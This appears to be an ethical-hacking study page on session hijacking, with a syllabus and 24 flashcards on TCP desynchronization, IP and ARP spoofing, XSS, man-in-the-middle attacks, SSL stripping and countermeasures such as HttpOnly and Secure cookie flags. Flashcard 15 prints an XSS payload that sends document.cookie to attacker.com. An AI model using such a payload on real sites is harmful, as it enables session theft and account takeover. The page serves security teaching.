Ethical Hacking Session Hijacking Syllabus

Session Hijacking syllabus — full chapter and topic list

Expand any chapter to see its topics and sub-topics. This is the whole examinable outline for Session Hijacking in Ethical Hacking, not a summary of it.

1. 1

   Session Hijacking Concepts

   3 topics

   • What is Session Hijacking?
   • Types of Session Hijacking
   • Session Hijacking Process
2. 2

   Session Hijacking Techniques

   3 topics

   • IP Spoofing
   • Cross-site Scripting (XSS)
   • Man-in-the-Middle (MitM) Attacks
3. 3

   Countermeasures

   3 topics

   • Session Encryption
   • Secure Cookie Handling
   • Multi-factor Authentication

Session Hijacking flashcards for Ethical Hacking

24 of 50 cards from the Session Hijacking deck — real questions with worked answers.

1. What is session hijacking?

   Session hijacking is an attack in which an adversary takes over a valid, already-established session between a user and a server—typically by stealing or predicting the session token/ID—to impersonate the legitimate user and gain unauthorized access without needing their credentials.

2. What is a session ID (session token) and why is it a target in session hijacking?

   A session ID is a unique identifier the server issues after authentication to track a user's session (often stored in a cookie). It is a target because possessing a valid session ID lets an attacker be treated as the authenticated user, bypassing the login step entirely.

3. Why is session hijacking often more dangerous than password theft alone?

   A hijacked session bypasses authentication controls entirely—including multi-factor authentication that was already satisfied at login—so the attacker inherits the user's authenticated state without ever needing the password or second factor.

4. Distinguish the two main types of session hijacking: active vs passive.

   Active hijacking: the attacker takes over the session, often kicking the legitimate user off or injecting commands, actively interacting with the server. Passive hijacking: the attacker silently monitors and records traffic (eavesdropping) to capture session data without altering the session.

5. Distinguish network-level from application-level session hijacking.

   Network-level hijacking targets the transport (TCP/IP) session—e.g., TCP sequence prediction, IP spoofing, packet sniffing. Application-level hijacking targets the session token at the app layer (HTTP)—e.g., stealing cookies via XSS, session fixation, or predicting session IDs.

6. List the general phases of the session hijacking process.

   1) Sniff/monitor traffic between victim and server; 2) Track the active session and identify the session ID; 3) Predict or steal the session token; 4) Desynchronize/take over the connection (may reset the victim); 5) Inject commands or act as the authenticated user.

7. In network-level hijacking, why does the attacker need to predict the TCP sequence number?

   TCP uses sequence numbers to order packets and validate that a packet belongs to the session. To inject packets that the server accepts as legitimate, the attacker must supply the correct next sequence number; otherwise the packets are discarded as out-of-window.

8. What is session desynchronization in a TCP hijacking attack?

   It is the state where the server's and client's expected sequence numbers no longer match. The attacker forces desynchronization so the legitimate client's packets are ignored, and the attacker's injected packets (with the correct sequence numbers) are accepted in its place.

9. What is an ACK storm, and when does it occur in session hijacking?

   An ACK storm is a flood of acknowledgment packets that occurs when the attacker's injected data desynchronizes the connection: the server and legitimate client keep sending ACKs trying to resynchronize sequence numbers, generating a loop of ACK traffic.

10. What is IP spoofing?

    IP spoofing is forging the source IP address in packet headers so that packets appear to originate from a trusted or different host, used to impersonate another machine, bypass IP-based access controls, or hijack a TCP session.

11. Why is blind IP spoofing hard against modern TCP stacks?

    Because the attacker cannot see the server's responses (they go to the spoofed IP), they must correctly guess the Initial Sequence Number (ISN). Modern stacks use randomized ISNs, making the sequence number effectively unpredictable and blind injection impractical.

12. How does IP spoofing enable a man-in-the-middle position combined with a desync attack?

    By spoofing the victim's IP and silencing the real victim (e.g., via a SYN flood or ARP manipulation), the attacker sends packets that appear to come from the victim, allowing the server to continue the session with the attacker as if it were the original host.

13. What is Cross-Site Scripting (XSS) in the context of session hijacking?

    XSS is a web vulnerability where an attacker injects malicious script into a page viewed by other users; the script runs in the victim's browser and can read the session cookie (e.g., via document.cookie) and exfiltrate it to the attacker, enabling session hijacking.

14. Name the three main types of XSS.

    Stored (persistent) XSS—payload saved on the server and served to victims; Reflected XSS—payload echoed back in an immediate response from a crafted request/link; DOM-based XSS—vulnerability in client-side JavaScript that manipulates the DOM using untrusted input.

15. Give a classic XSS payload used to steal a session cookie.

    A script such as `<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>` (or using fetch/XMLHttpRequest) reads document.cookie and sends the session ID to the attacker's server.

16. Which cookie flag defeats cookie theft via XSS, and how?

    The HttpOnly flag: it prevents client-side JavaScript from accessing the cookie via document.cookie, so even if XSS executes, the script cannot read the session cookie to exfiltrate it.

17. What is a Man-in-the-Middle (MitM) attack?

    A MitM attack is one where the attacker secretly positions themselves between two communicating parties, intercepting (and possibly altering) the traffic while both parties believe they are communicating directly and securely with each other.

18. How does a MitM attack facilitate session hijacking?

    By intercepting traffic, the attacker can read unencrypted session tokens/cookies as they pass, or strip/downgrade encryption, capturing the session ID to then impersonate the victim's authenticated session.

19. What is ARP spoofing (ARP poisoning) and its role in MitM?

    ARP spoofing sends forged ARP replies on a LAN to map the attacker's MAC address to another host's IP (e.g., the gateway), causing victim traffic to route through the attacker—establishing a man-in-the-middle position for sniffing or hijacking sessions.

20. What is SSL stripping in a MitM attack?

    SSL stripping is a MitM technique where the attacker downgrades a victim's HTTPS connection to plain HTTP—maintaining HTTPS only between attacker and server—so the victim's traffic, including session cookies, is transmitted in cleartext and can be captured.

21. What is session encryption and how does it prevent hijacking?

    Session encryption (e.g., TLS/HTTPS) encrypts the entire communication channel, including session tokens in transit, so an eavesdropper who sniffs the traffic sees only ciphertext and cannot read or reuse the session ID.

22. What role does TLS/HTTPS play in preventing passive session hijacking?

    TLS provides confidentiality (encryption), integrity, and authentication of the server, so passive sniffers cannot read session cookies in transit and MitM tampering is detectable—defeating eavesdropping-based capture of session tokens.

23. What is the Secure cookie flag and what does it protect against?

    The Secure flag instructs the browser to send the cookie only over encrypted HTTPS connections, never over plain HTTP. It prevents the session cookie from being transmitted in cleartext where a network sniffer or MitM could capture it.

24. Compare the HttpOnly and Secure cookie flags.

    HttpOnly blocks client-side script (JavaScript) access to the cookie, defending against XSS-based theft. Secure restricts transmission to HTTPS only, defending against network sniffing/MitM. They address different attack vectors and should be used together.

See more Session Hijacking flashcards →

Planning Session Hijacking for Ethical Hacking

Session Hijacking (Ethical Hacking) FAQ